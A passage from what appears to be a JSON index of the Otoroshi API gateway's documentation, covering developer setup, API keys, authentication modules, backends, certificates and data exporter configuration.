Otoroshi", + "content": "# Developing Otoroshi\n\nIf you want to play with Otoroshis code, here are some tips\n\n## The tools\n\nYou will need\n\n* git\n* JDK >= 11\n* SBT >= 1.7+\n* Node 18+ & yarn 1.x\n\n## Clone the repository\n\n```sh\ngit clone https://github.com/MAIF/otoroshi.git\n```\n\nor fork otoroshi and clone your own repository.\n\n## Run otoroshi in dev mode\n\nto run otoroshi in dev mode, you'll need to run two separate process to serve the javascript UI and the server part.\n\n### Javascript side\n\njust go to `/otoroshi/javascript` and install the dependencies with\n\n```sh\nyarn install\n# or\nnpm install\n```\n\nthen run the dev server with\n\n```sh\nyarn start\n# or\nnpm run start\n```\n\n### Server side\n\nsetup SBT opts with\n\n```sh\nexport SBT_OPTS=\"-Xmx2G -Xss6M\"\n```\n\nthen just go to `/otoroshi` and run the sbt console with \n\n```sh\nsbt\n```\n\nthen in the sbt console run the following command\n\n```sh\n~reStart\n# to pass jvm args, you can use: ~reStart --- -Dotoroshi.storage=memory ...\n```\n\nyou can now access your otoroshi instance at `http://otoroshi.oto.tools:9999`\n\n## Test otoroshi\n\nto run otoroshi test just go to `/otoroshi` and run the main test suite with\n\n```sh\nsbt 'testOnly OtoroshiTests'\n```\n\n## Create a release\n\njust go to `/otoroshi/javascript` and then build the UI\n\n```sh\nyarn install\nyarn build\n```\n\nthen go to `/otoroshi` and build the otoroshi distribution\n\n```sh\nsbt ';clean;compile;dist;assembly'\n```\n\nthe otoroshi build is waiting for you in `/otoroshi/target/scala-2.12/otoroshi.jar` or `/otoroshi/target/universal/otoroshi-1.x.x.zip`\n\n## Build the documentation\n\nfrom the root of your repository run\n\n```sh\nsh ./scripts/doc.sh all\n```\n\nThe documentation is located at `manual/target/paradox/site/main/`\n\n## Format the sources\n\nfrom the root of your repository run\n\n```sh\nsh ./scripts/fmt.sh\n```\n" + }, + { + "name": "apikeys.md", + "id": "/entities/apikeys.md", + "url": "/entities/apikeys.html", + "title": "Apikeys", + "content": "# Apikeys\n\nAn API key is a unique identifier used to connect to, or perform, an route call. \n\n@@@ div { .centered-img }\n\n@@@\n\nYou can found a concrete example @ref:[here](../how-to-s/secure-with-apikey.md)\n\n* `ApiKey Id`: the id is a unique random key that will represent this API key\n* `ApiKey Secret`: the secret is a random key used to validate the API key\n* `ApiKey Name`: a name for the API key, used for debug purposes\n* `ApiKey description`: a useful description for this apikey\n* `Valid until`: auto disable apikey after this date\n* `Enabled`: if the API key is disabled, then any call using this API key will fail\n* `Read only`: if the API key is in read only mode, every request done with this api key will only work for GET, HEAD, OPTIONS verbs\n* `Allow pass by clientid only`: here you allow client to only pass client id in a specific header in order to grant access to the underlying api\n* `Constrained services only`: this apikey can only be used on services using apikey routing constraints\n* `Authorized on`: the groups/services linked to this api key\n\n### Metadata and tags\n\n* `Tags`: tags attached to the api key\n* `Metadata`: metadata attached to the api key\n\n### Automatic secret rotation\n\nAPI can handle automatic secret rotation by themselves. When enabled, the rotation changes the secret every `Rotation every` duration. During the `Grace period` both secret will be usable.\n \n* `Enabled`: enabled automatic apikey secret rotation\n* `Rotation every`: rotate secrets every\n* `Grace period`: period when both secrets can be used\n* `Next client secret`: display the next generated client secret\n\n### Restrictions\n\n* `Enabled`: enable restrictions\n* `Allow last`: Otoroshi will test forbidden and notFound paths before testing allowed paths\n* `Allowed`: allowed paths\n* `Forbidden`: forbidden paths\n* `Not Found`: not found paths\n\n### Call examples\n\n* `Curl Command`: simple request with the api key passed by header\n* `Basic Auth. Header`: authorization Header with the api key as base64 encoded format\n* `Curl Command with Basic Auth. Header`: simple request with api key passed in the Authorization header as base64 format\n\n### Quotas\n\n* `Throttling quota`: the authorized number of calls per second\n* `Daily quota`: the authorized number of calls per day\n* `Monthly quota`: the authorized number of calls per month\n\n@@@ warning\n\nDaily and monthly quotas are based on the following rules :\n\n* daily quota is computed between 00h00:00.000 and 23h59:59.999 of the current day\n* monthly qutoas is computed between the first day of the month at 00h00:00.000 and the last day of the month at 23h59:59.999\n@@@\n\n### Quotas consumption\n\n* `Consumed daily calls`: the number of calls consumed today\n* `Remaining daily calls`: the remaining number of calls for today\n* `Consumed monthly calls`: the number of calls consumed this month\n* `Remaining monthly calls`: the remaining number of calls for this month\n\n" + }, + { + "name": "auth-modules.md", + "id": "/entities/auth-modules.md", + "url": "/entities/auth-modules.html", + "title": "Authentication modules", + "content": "# Authentication modules\n\nThe authentication modules manage the access to Otoroshi UI and can protect a route.\n\nA `private Otoroshi app` is an Otoroshi route with the Authentication plugin enabled.\n\nThe list of supported authentication are :\n\n* `OAuth 2.0/2.1` : an authorization standard that allows a user to grant limited access to their resources on one site to another site, without having to expose their credentials\n* `OAuth 1.0a` : the original standard for access delegation\n* `In memory` : create users directly in Otoroshi with rights and metadata\n* `LDAP : Lightweight Directory Access Protocol` : connect users using a set of LDAP servers\n* `SAML V2 - Security Assertion Markup Language` : an open-standard, XML-based data format that allows businesses to communicate user authentication and authorization information to partner companies and enterprise applications their employees may use.\n\nAll authentication modules have a unique `id`, a `name` and a `description`.\n\nEach module has also the following fields : \n\n* `Tags`: list of tags associated to the module\n* `Metadata`: list of metadata associated to the module\n* `HttpOnly`: if enabled, the cookie cannot be accessed through client side script, prevent cross-site scripting (XSS) by not revealing the cookie to a third party\n* `Secure`: if enabled, avoid to include cookie in an HTTP Request without secure channel, typically HTTPs.\n* `Session max. age`: duration until the session expired\n* `User validators`: a list of validator that will check if, a user that successfully logged in has the right to actually, pass otoroshi based on the content of it's profile. A validator is composed of a [JSONPath](https://goessner.net/articles/JsonPath/) that will tell what to check and a value that is the expected value. The JSONPath will be applied on a document that will look like\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"randomId\": \"xxxxx\",\n \"name\": \"john.doe@otoroshi.io\",\n \"email\": \"john.doe@otoroshi.io\",\n \"authConfigId\": \"xxxxxxxx\",\n \"profile\": { // the profile shape depends heavily on the identity provider\n \"sub\": \"xxxxxx\",\n \"nickname\": \"john.doe\",\n \"name\": \"john.doe@otoroshi.io\",\n \"picture\": \"https://foo.bar/avatar.png\",\n \"updated_at\": \"2022-04-20T12:57:39.723Z\",\n \"email\": \"john.doe@otoroshi.io\",\n \"email_verified\": true,\n \"rights\": [\"one\", \"two\"]\n },\n \"token\": { // the token shape depends heavily on the identity provider\n \"access_token\": \"xxxxxx\",\n \"refresh_token\": \"yyyyyy\",\n \"id_token\": \"zzzzzz\",\n \"scope\": \"openid profile email address phone offline_access\",\n \"expires_in\": 86400,\n \"token_type\": \"Bearer\"\n },\n \"realm\": \"global-oauth-xxxxxxx\",\n \"otoroshiData\": {\n ...\n },\n \"createdAt\": 1650459462650,\n \"expiredAt\": 1650545862652,\n \"lastRefresh\": 1650459462650,\n \"metadata\": {},\n \"tags\": []\n}\n```\n\nthe expected value support some syntax tricks like \n\n* `Not(value)` on a string to check if the current value does not equals another value\n* `Regex(regex)` on a string to check if the current value matches the regex\n* `RegexNot(regex)` on a string to check if the current value does not matches the regex\n* `Wildcard(*value*)` on a string to check if the current value matches the value with wildcards\n* `WildcardNot(*value*)` on a string to check if the current value does not matches the value with wildcards\n* `Contains(value)` on a string to check if the current value contains a value\n* `ContainsNot(value)` on a string to check if the current value does not contains a value\n* `Contains(Regex(regex))` on an array to check if one of the item of the array matches the regex\n* `ContainsNot(Regex(regex))` on an array to check if one of the item of the array does not matches the regex\n* `Contains(Wildcard(*value*))` on an array to check if one of the item of the array matches the wildcard value\n* `ContainsNot(Wildcard(*value*))` on an array to check if one of the item of the array does not matches the wildcard value\n* `Contains(value)` on an array to check if the array contains a value\n* `ContainsNot(value)` on an array to check if the array does not contains a value\n\nfor instance to check if the current user has the right `two`, you can write the following validator\n\n```js\n{\n \"path\": \"$.profile.rights\",\n \"value\": \"Contains(two)\"\n}\n```\n\n## OAuth 2.0 / OIDC provider\n\nIf you want to secure an app or your Otoroshi UI with this provider, you can check these tutorials : @ref[Secure an app with keycloak](../how-to-s/secure-app-with-keycloak.md) or @ref[Secure an app with auth0](../how-to-s/secure-app-with-auth0.md)\n\n* `Use cookie`: If your OAuth2 provider does not support query param in redirect uri, you can use cookies instead\n* `Use json payloads`: the access token, sended to retrieve the user info, will be pass in body as JSON. If disabled, it will sended as Map.\n* `Enabled PKCE flow`: This way, a malicious attacker can only intercept the Authorization Code, and they cannot exchange it for a token without the Code Verifier.\n* `Disable wildcard on redirect URIs`: As of OAuth 2.1, query parameters on redirect URIs are no longer allowed\n* `Refresh tokens`: Automatically refresh access token using the refresh token if available\n* `Read profile from token`: if enabled, the user profile will be read from the access token, otherwise the user profile will be retrieved from the user information url\n* `Super admins only`: All logged in users will have super admins rights\n* `Client ID`: a public identifier of your app\n* `Client Secret`: a secret known only to the application and the authorization server\n* `Authorize URL`: used to interact with the resource owner and get the authorization to access the protected resource\n* `Token URL`: used by the application in order to get an access token or a refresh token\n* `Introspection URL`: used to validate access tokens\n* `Userinfo URL`: used to retrieve the profile of the user\n* `Login URL`: used to redirect user to the login provider page\n* `Logout URL`: redirect uri used by the identity provider to redirect user after logging out\n* `Callback URL`: redirect uri sended to the identity provider to redirect user after successfully connecting\n* `Access token field name`: field used to search access token in the response body of the token URL call\n* `Scope`: presented scopes to the user in the consent screen. Scopes are space-separated lists of identifiers used to specify what access privileges are being requested\n* `Claims`: asked name/values pairs that contains information about a user.\n* `Name field name`: Retrieve name from token field\n* `Email field name`: Retrieve email from token field\n* `Otoroshi metadata field name`: Retrieve metadata from token field\n* `Otoroshi rights field name`: Retrieve user rights from user profile\n* `Extra metadata`: merged with the user metadata\n* `Data override`: merged with extra metadata when a user connects to a `private app`\n* `Rights override`: useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights.\n* `Api key metadata field name`: used to extract api key metadata from the OIDC access token \n* `Api key tags field name`: used to extract api key tags from the OIDC access token \n* `Proxy host`: host of proxy behind the identify provider\n* `Proxy port`: port of proxy behind the identify provider\n* `Proxy principal`: user of proxy \n* `Proxy password`: password of proxy\n* `OIDC config url`: URI of the openid-configuration used to discovery documents. By convention, this URI ends with `.well-known/openid-configuration`\n* `Token verification`: What kind of algorithm you want to use to verify/sign your JWT token with\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Hmac secret`: The Hmac secret\n* `Base64 encoded secret`: Is the secret encoded with base64\n* `Custom TLS Settings`: TLS settings for JWKS fetching\n* `TLS loose`: if enabled, will block all untrustful ssl configs\n* `Trust all`: allows any server certificates even the self-signed ones\n* `Client certificates`: list of client certificates used to communicate with JWKS server\n* `Trusted certificates`: list of trusted certificates received from JWKS server\n\n## OAuth 1.0a provider\n\nIf you want to secure an app or your Otoroshi UI with this provider, you can check this tutorial : @ref[Secure an app with OAuth 1.0a](../how-to-s/secure-with-oauth1-client.md)\n\n* `Http Method`: method used to get request token and the access token \n* `Consumer key`: the identifier portion of the client credentials (equivalent to a username)\n* `Consumer secret`: the identifier portion of the client credentials (equivalent to a password)\n* `Request Token URL`: url to retrieve the request token\n* `Authorize URL`: used to redirect user to the login page\n* `Access token URL`: used to retrieve the access token from the server\n* `Profile URL`: used to get the user profile\n* `Callback URL`: used to redirect user when successfully connecting\n* `Rights override`: override the rights of the connected user. With JSON format, each authenticated user, using email, can be associated to a list of rights on tenants and Otoroshi teams.\n\n## LDAP Authentication provider\n\nIf you want to secure an app or your Otoroshi UI with this provider, you can check this tutorial : @ref[Secure an app with LDAP](../how-to-s/secure-app-with-ldap.md)\n\n* `Basic auth.`: if enabled, user and password will be extract from the `Authorization` header as a Basic authentication. It will skipped the login Otoroshi page \n* `Allow empty password`: LDAP servers configured by default with the possibility to connect without password can be secured by this module to ensure that user provides a password\n* `Super admins only`: All logged in users will have super admins rights\n* `Extract profile`: extract LDAP profile in the Otoroshi user\n* `LDAP Server URL`: list of LDAP servers to join. Otoroshi use this list in sequence and swap to the next server, each time a server breaks in timeout\n* `Search Base`: used to global filter\n* `Users search base`: concat with search base to search users in LDAP\n* `Mapping group filter`: map LDAP groups with Otoroshi rights\n* `Search Filter`: used to filter users. *\\${username}* is replace by the email of the user and compare to the given field\n* `Admin username (bind DN)`: holds the name of the environment property for specifying the identity of the principal for authenticating the caller to the service\n* `Admin password`: holds the name of the environment property for specifying the credentials of the principal for authenticating the caller to the service\n* `Extract profile filters attributes in`: keep only attributes which are matching the regex\n* `Extract profile filters attributes not in`: keep only attributes which are not matching the regex\n* `Name field name`: Retrieve name from LDAP field\n* `Email field name`: Retrieve email from LDAP field\n* `Otoroshi metadata field name`: Retrieve metadata from LDAP field\n* `Extra metadata`: merged with the user metadata\n* `Data override`: merged with extra metadata when a user connects to a `private app`\n* `Additional rights group`: list of virtual groups. A virtual group is composed of a list of users and a list of rights for each teams/organizations.\n* `Rights override`: useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights.\n\n## In memory provider\n\n* `Basic auth.`: if enabled, user and password will be extract from the `Authorization` header as a Basic authentication. It will skipped the login Otoroshi page \n* `Login with WebAuthn` : enabled logging by WebAuthn\n* `Users`: list of users with *name*, *email* and *metadata*. The default password is *password*. The edit button is useful when you want to change the password of the user. The reset button reinitialize the password. \n* `Users raw`: show the registered users with their profile and their rights. You can edit directly each field, especially the rights of the user.\n\n## SAML v2 provider\n\n* `Single sign on URL`: the Identity Provider Single Sign-On URL\n* `The protocol binding for the login request`: the protocol binding for the login request\n* `Single Logout URL`: a SAML flow that allows the end-user to logout from a single session and be automatically logged out of all related sessions that were established during SSO\n* `The protocol binding for the logout request`: the protocol binding for the logout request\n* `Sign documents`: Should SAML Request be signed by Otoroshi ?\n* `Validate Assertions Signature`: Enable/disable signature validation of SAML assertions\n* `Validate assertions with Otoroshi certificate`: validate assertions with Otoroshi certificate. If disabled, the `Encryption Certificate` and `Encryption Private Key` fields can be used to pass a certificate and a private key to validate assertions.\n* `Encryption Certificate`: certificate used to verify assertions\n* `Encryption Private Key`: privaye key used to verify assertions\n* `Signing Certificate`: certicate used to sign documents\n* `Signing Private Key`: private key to sign documents\n* `Signature al`: the signature algorithm to use to sign documents\n* `Canonicalization Method`: canonicalization method for XML signatures \n* `Encryption KeyPair`: the keypair used to sign/verify assertions\n* `Name ID Format`: SP and IdP usually communicate each other about a subject. That subject should be identified through a NAME-IDentifier, which should be in some format so that It is easy for the other party to identify it based on the Format\n* `Use NameID format as email`: use NameID format as email. If disabled, the email will be search from the attributes\n* `URL issuer`: provide the URL to the IdP's who will issue the security token\n* `Validate Signature`: enable/disable signature validation of SAML responses\n* `Validate Assertions Signature`: should SAML Assertions to be decrypted ?\n* `Validating Certificates`: the certificate in PEM format that must be used to check for signatures.\n\n## Special routes\n\nwhen using private apps with auth. modules, you can access special routes that can help you \n\n```sh \nGET 'http://xxxxxxxx.xxxx.xx/.well-known/otoroshi/logout' # trigger logout for the current auth. module\nGET 'http://xxxxxxxx.xxxx.xx/.well-known/otoroshi/me' # get the current logged user profile (do not forget to pass cookies)\n```\n\n## Related pages\n* @ref[Secure an app with auth0](../how-to-s/secure-app-with-auth0.md)\n* @ref[Secure an app with keycloak](../how-to-s/secure-app-with-keycloak.md)\n* @ref[Secure an app with LDAP](../how-to-s/secure-app-with-ldap.md)\n* @ref[Secure an app with OAuth 1.0a](../how-to-s/secure-with-oauth1-client.md)" + }, + { + "name": "backends.md", + "id": "/entities/backends.md", + "url": "/entities/backends.html", + "title": "Backends", + "content": "# Backends\n\nA backend represent a list of server to target in a route and its client settings, load balancing, etc.\n\nThe backends can be define directly on the route designer or on their dedicated page in order to be reusable.\n\n## UI page\n\nYou can find all backends [here](http://otoroshi.oto.tools:8080/bo/dashboard/backends)\n\n## Global Properties\n\n* `Targets root path`: the path to add to each request sent to the downstream service \n* `Full path rewrite`: When enabled, the path of the uri will be totally stripped and replaced by the value of `Targets root path`. If this value contains expression language expressions, they will be interpolated before forwading the request to the backend. When combined with things like named path parameters, it is possible to perform a ful url rewrite on the target path like\n\n* input: `subdomain.domain.tld/api/users/$id<[0-9]+>/bills`\n* output: `target.domain.tld/apis/v1/basic_users/${req.pathparams.id}/all_bills`\n\n## Targets\n\nThe list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures.\n\n* `id`: unique id of the target\n* `Hostname`: the hostname of the target without scheme\n* `Port`: the port of the target\n* `TLS`: call the target via https\n* `Weight`: the weight of the target. This valus is used by the load balancing strategy to dispatch the traffic between all targets\n* `Predicate`: a function to filter targets from the target list based on a predefined predicate\n* `Protocol`: protocol used to call the target, can be only equals to `HTTP/1.0`, `HTTP/1.1`, `HTTP/2.0` or `HTTP/3.0`\n* `IP address`: the ip address of the target\n* `TLS Settings`:\n * `Enabled`: enable this section\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with the downstream service\n * `Trusted certificates`: list of trusted certificates received from the downstream service\n\n\n## Heatlh check\n\n* `Enabled`: if enabled, the health check URL will be called at regular intervals\n* `URL`: the URL to call to run the health check\n\n## Load balancing\n\n* `Type`: the load balancing algorithm used\n\n## Client settings\n\n* `backoff factor`: specify the factor to multiply the delay for each retry (default value 2)\n* `retries`: specify how many times the client will retry to fetch the result of the request after an error before giving up. (default value 1)\n* `max errors`: specify how many errors can pass before opening the circuit breaker (default value 20)\n* `global timeout`: specify how long the global call (with retries) should last at most in milliseconds. (default value 30000)\n* `connection timeout`: specify how long each connection should last at most in milliseconds. (default value 10000)\n* `idle timeout`: specify how long each connection can stay in idle state at most in milliseconds (default value 60000)\n* `call timeout`: Specify how long each call should last at most in milliseconds. (default value 30000)\n* `call and stream timeout`: specify how long each call should last at most in milliseconds for handling the request and streaming the response. (default value 120000)\n* `initial delay`: delay after which first retry will happens if needed (default value 50)\n* `sample interval`: specify the delay between two retries. Each retry, the delay is multiplied by the backoff factor (default value 2000)\n* `cache connection`: try to keep tcp connection alive between requests (default value false)\n* `cache connection queue size`: queue size for an open tcp connection (default value 2048)\n* `custom timeouts` (list): \n * `Path`: the path on which the timeout will be active\n * `Client connection timeout`: specify how long each connection should last at most in milliseconds.\n * `Client idle timeout`: specify how long each connection can stay in idle state at most in milliseconds.\n * `Client call and stream timeout`: specify how long each call should last at most in milliseconds for handling the request and streaming the response.\n * `Call timeout`: Specify how long each call should last at most in milliseconds.\n * `Client global timeout`: specify how long the global call (with retries) should last at most in milliseconds.\n\n## Proxy\n\n* `host`: host of proxy behind the identify provider\n* `port`: port of proxy behind the identify provider\n* `protocol`: protocol of proxy behind the identify provider\n* `principal`: user of proxy \n* `password`: password of proxy\n" + }, + { + "name": "certificates.md", + "id": "/entities/certificates.md", + "url": "/entities/certificates.html", + "title": "Certificates", + "content": "# Certificates\n\nAll generated and imported certificates are listed in the `https://otoroshi.xxxx/bo/dashboard/certificates` page. All those certificates can be used to serve traffic with TLS, perform mTLS calls, sign and verify JWT tokens.\n\nThe list of available actions are:\n\n* `Add item`: redirects the user on the certificate creation page. It's useful when you already had a certificate (like a pem file) and that you want to load it in Otoroshi.\n* `Let's Encrypt certificate`: asks a certificate matching a given host to Let's encrypt \n* `Create certificate`: issues a certificate with an existing Otoroshi certificate as CA.\n* `Import .p12 file`: loads a p12 file as certificate\n\n## Add item\n\n* `Id`: the generated unique id of the certificate\n* `Name`: the name of the certificate\n* `Description`: the description of the certificate\n* `Auto renew cert.`: certificate will be issued when it will be expired. Only works with a CA from Otoroshi and a known private key\n* `Client cert.`: the certificate generated will be used to identicate a client to a server\n* `Keypair`: the certificate entity will be a pair of public key and private key.\n* `Public key exposed`: if true, the public key will be exposed on `http://otoroshi-api.your-domain/.well-known/jwks.json`\n* `Certificate status`: the current status of the certificate. It can be valid if the certificate is not revoked and not expired, or equal to the reason of the revocation\n* `Certificate full chain`: list of certificates used to authenticate a client or a server\n* `Certificate private key`: the private key of the certificate or nothing if wanted. You can omit it if you want just add a certificte full chain to trust them.\n* `Private key password`: the password to protect the private key\n* `Certificate tags`: the tags attached to the certificate\n* `Certaificate metadata`: the metadata attached to the certificate\n\n## Let's Encrypt certificate\n\n* `Let's encrypt`: if enabled, the certificate will be generated by Let's Encrypt. If disabled, the user will be redirect to the `Create certificate` page\n* `Host`: the host send to Let's encrypt to issue the certificate\n\n## Create certificate view\n\n* `Issuer`: the CA used to sign your certificate\n* `CA certificate`: if enabled, the certificate will be used as an authority certificate. Once generated, it will be use as CA to sign the new certificates\n* `Let's Encrypt`: redirects to the Let's Encrypt page to request a certificate\n* `Client certificate`: the certificate generated will be used to identicate a client to a server\n* `Include A.I.A`: include authority information access urls in the certificate\n* `Key Type`: the type of the private key\n* `Key Size`: the size of the private key\n* `Signature Algorithm`: the signature algorithm used to sign the certificate\n* `Digest Algorithm`: the digest algorithm used\n* `Validity`: how much time your certificate will be valid\n* `Subject DN`: the subject DN of your certificate\n* `Hosts`: the hosts of your certificate\n\n" + }, + { + "name": "data-exporters.md", + "id": "/entities/data-exporters.md", + "url": "/entities/data-exporters.html", + "title": "Data exporters", + "content": "# Data exporters\n\nThe data exporters are the way to export alerts and events from Otoroshi to an external storage.\n\nTo try them, you can folllow @ref[this tutorial](../how-to-s/export-alerts-using-mailgun.md).\n\n## Common fields\n\n* `Type`: the type of event exporter\n* `Enabled`: enabled or not the exporter\n* `Name`: given name to the exporter\n* `Description`: the data exporter description\n* `Tags`: list of tags associated to the module\n* `Metadata`: list of metadata associated to the module\n\nAll exporters are split in three parts. The first and second parts are common and the last are specific by exporter.\n\n* `Filtering and projection` : section to filter the list of sent events and alerts. The projection field allows you to export only certain event fields and reduce the size of exported data. It's composed of `Filtering` and `Projection` fields. To get a full usage of this elements, read @ref:[this section](#matching-and-projections)\n* `Queue details`: set of fields to adjust the workers of the exporter. \n * `Buffer size`: if elements are pushed onto the queue faster than the source is consumed the overflow will be handled with a strategy specified by the user. Keep in memory the number of events.\n * `JSON conversion workers`: number of workers used to transform events to JSON format in paralell\n * `Send workers`: number of workers used to send transformed events\n * `Group size`: chunk up this stream into groups of elements received within a time window (the time window is the next field)\n * `Group duration`: waiting time before sending the group of events. If the group size is reached before the group duration, the events will be instantly sent\n \nFor the last part, the `Exporter configuration` will be detail individually.\n\n## Matching and projections\n\n**Filtering** is used to **include** or **exclude** some kind of events and alerts. For each include and exclude field, you can add a list of key-value. \n\nLet's say we only want to keep Otoroshi alerts\n```json\n{ \"include\": [{ \"@type\": \"AlertEvent\" }] }\n```\n\nOtoroshi provides a list of rules to keep only events with specific values. We will use the following event to illustrate.\n\n```json\n{\n \"foo\": \"bar\",\n \"type\": \"AlertEvent\",\n \"alert\": \"big-alert\",\n \"status\": 200,\n \"codes\": [\"a\", \"b\"],\n \"inner\": {\n \"foo\": \"bar\",\n \"bar\": \"foo\"\n }\n}\n```\n\nThe rules apply with the previous example as event.\n\n@@@div { #filtering }\n \n@@@\n\n\n\n**Projection** is a list of fields to export. In the case of an empty list, all the fields of an event will be exported. In other case, **only** the listed fields will be exported.\n\nLet's say we only want to keep Otoroshi alerts and only type, timestamp and id of each exported events\n```json\n{\n \"@type\": true,\n \"@timestamp\": true,\n \"@id\": true\n}\n```\n\nAn other possibility is to **rename** the exported field. This value will be the same but the exported field will have a different name.\n\nLet's say we want to rename all `@id` field with `unique-id` as key\n\n```json\n{ \"@id\": \"unique-id\" }\n```\n\nThe last possiblity is to retrieve a sub-object of an event. Let's say we want to get the name of each exported user of events.\n\n```json\n{ \"user\": { \"name\": true } }\n```\n\nYou can also expand the entire source object with \n\n```json\n{\n \"$spread\": true\n}\n```\n\nand the remove fields you don't want with \n\n```json\n{\n \"fieldthatidontwant\": false\n}\n```\n\nProjections allows object modification using jspath, for instance, this example will create a new `otoroshiHeaderKeys` field to exported events. This field will contains a string array containing every request header name.\n\n```json\n{\n \"otoroshiHeaderKeys\": {\n \"$path\": \"$.otoroshiHeadersIn.*.key\"\n }\n}\n```\n\nAlternativerly, projections also allow to use JQ to transform exported events\n\n```json\n{\n \"headerKeys\": {\n \"$jq\": \"[.headers[].key]\"\n }\n}\n```\n\nJQ filter also allows conditionnal filtering : transformation is applied only if given predicate is match. In the following example, `headerKeys` field will be valued only if `target.scheme` is `https`.\n\n```json\n{\n \"headerKeys\": {\n \"$jqIf\": {\n \"filter\": \"[.headers[].key]\",\n \"predicate\": {\n \"path\": \"target.scheme\",\n \"value\": \"https\"\n }\n }\n }\n}\n```\n\nSee [JQ manual](https://jqlang.github.io/jq/manual/) for complete syntax reference.\n\n## Elastic\n\nWith this kind of exporter, every matching event will be sent to an elastic cluster (in batch). It is quite useful and can be used in combination with [elastic read in global config](./global-config.html#analytics-elastic-dashboard-datasource-read-)\n\n* `Cluster URI`: Elastic cluster URI\n* `Index`: Elastic index \n* `Type`: Event type (not needed for elasticsearch above 6.x)\n* `User`: Elastic User (optional)\n* `Password`: Elastic password (optional)\n* `Version`: Elastic version (optional, if none provided it will be fetched from cluster)\n* `Apply template`: Automatically apply index template\n* `Check Connection`: Button to test the configuration. It will displayed a modal with checked point, and if the case of it's successfull, it will displayed the found version of the Elasticsearch and the index used\n* `Manually apply index template`: try to put the elasticsearch template by calling the api of elasticsearch\n* `Show index template`: try to retrieve the current index template presents in elasticsearch\n* `Client side temporal indexes handling`: When enabled, Otoroshi will manage the creation of indexes. When it's disabled, Otoroshi will push in the same index\n* `One index per`: When the previous field is enabled, you can choose the interval of time between the creation of a new index in elasticsearch \n* `Custom TLS Settings`: Enable the TLS configuration for the communication with Elasticsearch\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with elasticsearch\n * `Trusted certificates`: list of trusted certificates received from elasticsearch\n\n## Webhook \n\nWith this kind of exporter, every matching event will be sent to a URL (in batch) using a POST method and an JSON array body.\n\n* `Alerts hook URL`: url used to post events\n* `Hook Headers`: headers add to the post request\n* `Custom TLS Settings`: Enable the TLS configuration for the communication with Elasticsearch\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with elasticsearch\n * `Trusted certificates`: list of trusted certificates received from elasticsearch\n\n\n## Pulsar \n\nWith this kind of exporter, every matching event will be sent to an [Apache Pulsar topic](https://pulsar.apache.org/)\n\n\n* `Pulsar URI`: URI of the pulsar server\n* `Custom TLS Settings`: Enable the TLS configuration for the communication with Elasticsearch\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with elasticsearch\n * `Trusted certificates`: list of trusted certificates received from elasticsearch\n* `Pulsar tenant`: tenant on the pulsar server\n* `Pulsar namespace`: namespace on the pulsar server\n* `Pulsar topic`: topic on the pulsar server\n\n## Kafka \n\nWith this kind of exporter, every matching event will be sent to an [Apache Kafka topic](https://kafka.apache.org/). You can find few @ref[tutorials](../how-to-s/communicate-with-kafka.md) about the connection between Otoroshi and Kafka based on docker images.\n\n* `Kafka Servers`: the list of servers to contact to connect the Kafka client with the Kafka cluster\n* `Kafka topic`: the topic on which Otoroshi alerts will be sent\n\nBy default, Kafka is installed with no authentication. Otoroshi supports the following authentication mechanisms and protocols for Kafka brokers.\n\n### SASL\n\nThe Simple Authentication and Security Layer (SASL) [RFC4422] is a\nmethod for adding authentication support to connection-based\nprotocols.\n\n* `SASL username`: the client username \n* `SASL password`: the client username \n* `SASL Mechanism`: \n * `PLAIN`: SASL/PLAIN uses a simple username and password for authentication.\n * `SCRAM-SHA-256` and `SCRAM-SHA-512`: SASL/SCRAM uses usernames and passwords stored in ZooKeeper. Credentials are created during installation.\n\n### SSL \n\n* `Kafka keypass`: the keystore password if you use a keystore/truststore to connect to Kafka cluster\n* `Kafka keystore path`: the keystore path on the server if you use a keystore/truststore to connect to Kafka cluster\n* `Kafka truststore path`: the truststore path on the server if you use a keystore/truststore to connect to Kafka cluster\n* `Custom TLS Settings`: enable the TLS configuration for the communication with Elasticsearch\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with elasticsearch\n * `Trusted certificates`: list of trusted certificates received from elasticsearch\n\n### SASL + SSL\n\nThis mechanism uses the SSL configuration and the SASL configuration.\n\n## Mailer \n\nWith this kind of exporter, every matching event will be sent in batch as an email (using one of the following email provider)\n\nOtoroshi supports 5 exporters of email type.\n\n### Console\n\nNothing to add. The events will be write on the standard output.\n\n### Generic\n\n* `Mailer url`: URL used to push events\n* `Headers`: headers add to the push requests\n* `Email addresses`: recipients of the emails\n\n### Mailgun\n\n* `EU`: is EU server ? if enabled, *https://api.eu.mailgun.net/* will be used, otherwise, the US URL will be used : *https://api.mailgun.net/*\n* `Mailgun api key`: API key of the mailgun account\n* `Mailgun domain`: domain name of the mailgun account\n* `Email addresses`: recipients of the emails\n\n### Mailjet\n\n* `Public api key`: public key of the mailjet account\n* `Private api key`: private key of the mailjet account\n* `Email addresses`: recipients of the emails\n\n### Sendgrid\n\n* `Sendgrid api key`: api key of the sendgrid account\n* `Email addresses`: recipients of the emails\n\n## File \n\n* `File path`: path where the logs will be write \n* `Max file size`: when size is reached, Otoroshi will create a new file postfixed by the current timestamp\n\n## GoReplay file\n\nWith this kind of exporter, every matching event will be sent to a `.gor` file compatible with [GoReplay](https://goreplay.org/). \n\n@@@ warning\nthis exporter will only be able to catch `TrafficCaptureEvent`. Those events are created when a route (or the global config) of the @ref:[new proxy engine](../topics/engine.md) is setup to capture traffic using the `capture` flag.\n@@@\n\n* `File path`: path where the logs will be write \n* `Max file size`: when size is reached, Otoroshi will create a new file postfixed by the current timestamp\n* 